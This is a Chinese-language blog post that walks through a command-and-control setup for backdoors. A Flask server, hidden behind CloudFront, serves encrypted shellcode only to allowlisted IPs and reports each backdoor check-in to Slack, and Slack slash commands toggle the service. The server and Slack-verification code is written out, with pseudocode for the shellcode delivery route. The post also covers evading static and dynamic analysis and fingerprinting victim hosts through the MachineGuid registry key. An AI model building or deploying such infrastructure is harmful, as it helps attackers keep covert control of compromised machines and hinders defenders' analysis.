防御性C2玩具尝试
背景需求
不管一个什么形式的后门:定时任务、dll劫持、开机启动…,当我设置的后门运行的时候,我想掌握后门的启动时间、触发IP等上环境,所以这篇文章是在shellcode分离免杀的基础上做了尝试性扩展
考虑这样的场景:
- 后门被静态分析
- 后门被动态分析
- shellcode被提取之后触发
- …
在shellcode分离免杀的基础上扩展还是比较容易的,当客户端请求远程shellcode托管服务器的时候,增加一个机器人,然后发起一个上线通知:If This Then That,这样太简单了,我们再多加点料,比如:
- 不带合理参数请求shellcode的URL时候,发起警告
- 当木马运行在恶意环境的时候,发起警告
- 当木马上线IP不在服务端列表
- 当木马上线主机的设备指纹不在服务端列表
- shellcode托管服务随时可以关闭打开
- shellcode托管服务随时可以新增删除木马上线IP或者设备指纹
准备材料
- 一台VPS:托管shellcode,通知slack机器人
- 一个AWS账号隐藏C2(CloudFront)
- Slack:接收通知,使用
Slash commands
功能控制shellcode托管服务
托管shellcode流程
Slack通知
Slash Command
这个点是从TG上社工库跑路得来的思路,当执行任何一个命令的时候,都会发起一个请求到VPS,然后VPS处理请求。
在slack里面增加slach commands
:
/boot
开启shellcode托管服务/delete
删除IP白名单,/delete ip 127.0.0.1
/info
获取托管shellcode服务器的状态/add
增加IP白名单,/add ip 127.0.0.1
/shutdown
关闭shellcode托管服务器
大概流程是这样,IP白名单直接使用redis来存储,可以设置一个IP为*
的时候,任何IP都能上线。
@app.route('/curd', methods=['POST'])
@verify_check
def add():
command = request.form["command"]
text = request.form["text"]
l = text.split(" ")
print(get_switch())
print("The Command is {}".format(command))
print("The Text is {}".format(text))
print("db status {}".format(get_agent_status()))
if command == "/add":
if l[0] == "ip":
redis.set("ip_{}".format(l[1]), l[2])
msg = set_msg("增加 {}成功, 状态: {}\n当前数据库: {}".format(l[1], l[2], get_agent_status()))
robot(msg)
verify_check
是验证请求是否从slack发起的,完整代码:
def verify_check(f):
@wraps(f)
def wrapper(*args, **kwargs):
try:
# https://api.slack.com/authentication/verifying-requests-from-slack
# https://slack.dev/python-slack-sdk/oauth/index.html#app-installation-flow
# if request.form and request.form['token'] == "":
slack_signing_secret = 'secret'.encode('utf-8')
timestamp = request.headers['X-Slack-Request-Timestamp']
request_body = request.get_data().decode('utf-8')
# print("request data {}".format(request.get_data()))
# print(request.values)
# request_body = urlencode(request.values)
# print("request data is {}".format(request_body))
sig_basestring = 'v0:' + timestamp + ':' + request_body
if abs(time.time() - float(timestamp)) > 60 * 5:
return abort(404, description="Resource not found")
my_signature = 'v0=' + hmac.new(
slack_signing_secret,
sig_basestring.encode('utf-8'),
hashlib.sha256
).hexdigest()
slack_signature = request.headers['X-Slack-Signature']
print(request.headers)
print(my_signature, slack_signature)
if hmac.compare_digest(my_signature, slack_signature):
return f(*args, **kwargs)
else:
return abort(404, description="Resource not found")
except Exception as e:
return abort(404, description="Resource not found")
return wrapper
shellcode托管伪代码
@app.route('/i-am-unreachable', methods=["POST", "GET"])
....# 静态分析警告
if request.headers.getlist("X-Forwarded-For"):
ip = request.headers.getlist("X-Forwarded-For")[0].split(',')[0]
else:
ip = request.remote_addr
if (not post_validate(v, key)) or request_data == "":
user_agent = request.headers.get("User-Agent")
method = request.method
...
...
if not get_switch(): # 开关关闭状态
msg_fail(now, domain, user, ip, c2_info, "服务器托管开关关闭,打开请发送指令: **/boot**")
return not_found()
ip_str = "ip_{}".format(ip)
if check(ip_str):
shell_str = "shell_{}".format(server)
msg_success(now, domain, user, ip, c2_info)
encrypt = encrypt_shell(key, redis.get(shell_str))
return Response(encrypt, mimetype='text/plain')
遗留问题
- 我直接选择IP作为白名单,当IP在白名单,并且shellcode托管开关打开的时候,发送shellcode。深入一点可以使用Machine Key作为判断决策,比如
HKLM\SOFTWARE\Microsoft\Cryptography
,在木马初次运行的时候发送Key到服务端,之后每次运行的时候都检测是否在服务端的名单里面。 - dll可以使用socket分离shellcode,思路和上面一样。socket服务器的隐藏可以选择AWS的ELB(
有点贵)类似的加速服务